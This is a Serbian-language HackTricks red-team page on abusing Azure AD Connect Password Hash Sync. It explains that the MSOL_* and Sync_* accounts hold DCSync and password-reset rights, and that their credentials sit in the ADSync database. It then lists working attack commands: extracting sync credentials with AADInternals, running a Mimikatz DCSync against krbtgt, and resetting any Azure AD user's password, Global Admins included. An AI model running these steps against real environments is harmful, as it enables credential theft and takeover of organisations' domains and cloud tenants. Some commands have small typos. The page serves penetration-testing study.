Az - PHS - Password Hash Sync

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Prema dokumentaciji: Sinkronizacija heš lozinke je jedan od metoda prijave koji se koristi za postizanje hibridnog identiteta. Azure AD Connect sinhronizuje heš, heša, lozinke korisnika iz lokalnog Active Directory primera u oblak zasnovan na Azure AD.

To je najčešća metoda koju koriste kompanije za sinhronizaciju lokalnog AD-a sa Azure AD-om.

Svi korisnici i heš lozinki se sinhronizuju sa lokalnog na Azure AD. Međutim, lozinke u čistom tekstu ili originalni heševi nisu poslati na Azure AD. Osim toga, ugrađene sigurnosne grupe (kao što su administratorski domen...) nisu sinhronizovane sa Azure AD-om.

Sinhronizacija heševa se dešava svakih 2 minuta. Međutim, podrazumevano, istek lozinke i istek naloga nisu sinhronizovani u Azure AD-u. Dakle, korisnik čija je lozinka na lokalnom AD-u istekla (nije promenjena) može nastaviti da pristupa Azure resursima koristeći staru lozinku.

Kada korisnik sa lokalnog AD-a želi da pristupi Azure resursu, autentikacija se vrši na Azure AD-u.

PHS je potreban za funkcije kao što su Zaštita identiteta i AAD Domain Services.

Pivoting

Kada je PHS konfigurisan, automatski su kreirani neki privilegovani nalozi:

  • Nalog MSOL_<installationID> je automatski kreiran u lokalnom AD-u. Ovom nalogu je dodeljena uloga Directory Synchronization Accounts (videti dokumentaciju) što znači da ima dozvole za replikaciju (DCSync) u lokalnom AD-u.

  • Nalog Sync_<ime lokalnog ADConnect Servera>_installationID je kreiran u Azure AD-u. Ovaj nalog može resetovati lozinku BILO KOG korisnika (sinhronizovanog ili samo u oblaku) u Azure AD-u.

Lozinke za ova dva prethodno privilegovana naloga su sačuvane u SQL serveru na serveru gde je Azure AD Connect instaliran. Administratori mogu izvući lozinke tih privilegovanih korisnika u čistom tekstu. Baza podataka se nalazi u C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Moguće je izvući konfiguraciju iz jedne od tabela, pri čemu je jedna enkriptovana:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Enkriptovana konfiguracija je enkriptovana sa DPAPI i sadrži lozinke korisnika MSOL_* u lokalnom AD-u i lozinku Sync_* u AzureAD-u. Stoga, kompromitovanjem ovih, moguće je dobiti privilegije u AD-u i AzureAD-u.

Možete pronaći potpuni pregled kako su ove lozinke sačuvane i dešifrovane u ovom predavanju.

Pronalaženje Azure AD Connect servera

Ako je server na kojem je instaliran Azure AD Connect pridružen domenu (preporučeno u dokumentaciji), moguće ga je pronaći sa:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Zloupotreba MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Možete takođe koristiti adconnectdump da biste dobili ove akreditive.

Zloupotreba Sync_*

Kompromitovanjem Sync_* naloga moguće je resetovati lozinku bilo kog korisnika (uključujući Globalne Administratore)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Takođe je moguće izmeniti lozinke samo cloud korisnicima (čak i ako je to neočekivano)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Takođe je moguće iskopati lozinku ovog korisnika.

Druga opcija bila bi dodeljivanje privilegovanih dozvola servisnom principu, kojeg Sync korisnik ima dozvole da uradi, a zatim pristupiti tom servisnom principu kao način priveska.

Bezšavno SSO

Moguće je koristiti Bezšavno SSO sa PHS-om, što je ranjivo na druge zloupotrebe. Proverite u:

pageAz - Seamless SSO

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated